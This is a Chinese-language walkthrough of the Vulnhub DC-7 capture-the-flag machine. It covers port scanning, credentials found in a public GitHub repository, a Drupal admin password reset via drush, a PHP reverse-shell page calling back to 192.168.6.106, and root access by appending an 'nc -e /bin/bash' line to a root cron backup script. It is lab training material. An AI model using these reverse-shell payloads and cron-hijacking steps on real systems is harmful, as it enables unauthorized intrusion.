Vulnhub靶场案例渗透[7]- DC7

文章目录

  • [1. 靶场搭建](#1. 靶场搭建)
  • [2. 信息收集](#2. 信息收集)
    • [2.1 确定靶机ip](#2.1 确定靶机ip)
    • [2.2 服务信息收集](#2.2 服务信息收集)
    • [2.3 社工信息收集](#2.3 社工信息收集)
  • [3. 提权](#3. 提权)

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开

bash 复制代码
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

安装之后直接显示了靶机的ip。

2.2 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

bash 复制代码
nmap -Ap 1-65535  192.168.6.102

确定开放端口:

  • 22:ssh服务
  • 80: http服务,并且由apache服务器启动

2.3 社工信息收集

访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。

3. 提权

常见提权方法可参考我之前的文章常见提升权限方法

尝试SUID进行提权, 发现没有可利用的提权的文件

bash 复制代码
# 查找设置suid标志的文件
find / -perm --4000 -type f

尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。

发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。

查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。

发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。

bash 复制代码
# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址

复制代码
```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

更改之后在wen页面登录成功。

bash 复制代码
# 更改admin的密码
drush user-password admin --password=admin

进入后台管理,发现在新建内容可以新建Basic page,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这个页面启用php拓展

新建basic-content添加如下内容,点击发布,成功获取到反弹sehll

php 复制代码
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
bash 复制代码
# kali执行
nc -lvp 8888
bash 复制代码
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。

bash 复制代码
echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

成功获取到root的shell,在root的家目录下成功获取到目标flag。

相关推荐
To_再飞行10 分钟前
K8s 调度管理
linux·云原生·kubernetes
2302_7995257427 分钟前
【Hadoop】Hadoop集群安装中出现的问题
linux·hadoop
刘一说33 分钟前
Linux调试命令速查:Java/微服务必备
java·linux·微服务
枫の准大一44 分钟前
【Linux游记】基础指令篇
linux
ypf52081 小时前
OrbStack 配置国内镜像加速
linux
Hello.Reader1 小时前
一文通关 Proto3完整语法与工程实践
java·linux·数据库·proto3
Hello.Reader1 小时前
一文吃透 Protobuf “Editions” 模式从概念、语法到迁移与实战
linux·服务器·网络·protobuf·editions
陌上花开缓缓归以1 小时前
linux ubi文件系统
linux
口嗨农民工2 小时前
exiftool 分析jpeg图片使用
linux
大明者省2 小时前
pycharm解释器使用anaconda建立的虚拟环境里面的python,无需系统里面安装python。
linux·python·pycharm